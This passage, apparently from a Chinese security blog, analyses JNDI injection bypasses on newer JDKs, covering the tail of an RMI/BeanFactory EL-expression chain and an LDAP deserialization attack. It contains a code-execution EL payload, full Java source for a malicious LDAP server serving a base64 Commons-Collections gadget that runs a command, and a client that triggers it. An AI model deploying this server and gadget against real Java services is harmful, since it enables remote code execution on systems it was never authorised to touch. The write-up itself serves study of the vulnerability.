接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用 getContent() 方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素,获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")

最后实现命令执行。

参考:https://paper.seebug.org/942/,感觉这篇文章说的挺好的,除了把 setter 设置为 javax.el.ELProcessor#eval 还可以设置为 groovy.lang.GroovyShell#evaluate 进行 groovy 命令注入。

LDAP反序列化绕过

因为LDAP 还可以存储序列化的数据,那么如果LDAP存储的某个对象的 javaSerializedData 值不为空,则客户端会通过调用 obj.decodeObject() 对该属性值内容进行反序列化。如果客户端存在反序列化相关组件漏洞,则我们可以通过 LDAP 来传输恶意序列化对象。这也就是平常 JNDI 漏洞存在最多的形式,通过与其他链子结合和(具体过程分析参考:)。

恶意 LDAP 服务端,相较于原始的LDAP服务器,我们只需要略微改动即可,将被存储的类的属性值 javaSerializeData 更改为序列化 payload 即可(之前的 ldap 储存的属性为其他的)

LDAP_BS.java

package org.example;  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.URL;  
import java.util.Base64;  
  
public class LDAP_BS {  
    private static final String LDAP_BASE = "dc=example,dc=com";  
  
    public static void main ( String[] tmp_args ) {  
        String[] args=new String[]{"http://127.0.0.1/#BS"};  
        int port = 9999;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen", //$NON-NLS-1$  
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
  
        @Override  
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
        }  
  
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {  
            e.addAttribute("javaClassName", "foo");  
            //getObject获取Gadget  
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(            "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"  
            ));  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
    }  
}

然后客户端进行调用

package org.example;  
  
import javax.naming.InitialContext;  
  
public class LDAP_CN {  
    public static void main(String[]args) throws Exception{  
        String string = "ldap://localhost:9999/BS";  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup(string);  
    }  
}

其反序列化的调用栈

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240906123113283.png

看到其实就是 c_lookup 后面走得不一样了,最后再 deserializeObject 中进行了反序列化。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240906123131104.png

总结

虽然这两种方式比较常用,但还是难免会遇到特殊情况。比如系统使用的是 Tomcat7(没有ELProcessor),或是没有 groovy 依赖,又或是没有本地可用的反序列化 gadget,还有可能连 Tomcat 都没有(无法使用 BeanFactory),一般这时候有些人可能就放弃了,这时可以参考一下这篇文章:JDK 高版本下 JNDI 注入深度剖析


参考:https://goodapple.top/archives/696

参考:https://xz.aliyun.com/t/15075

参考:https://xz.aliyun.com/t/12277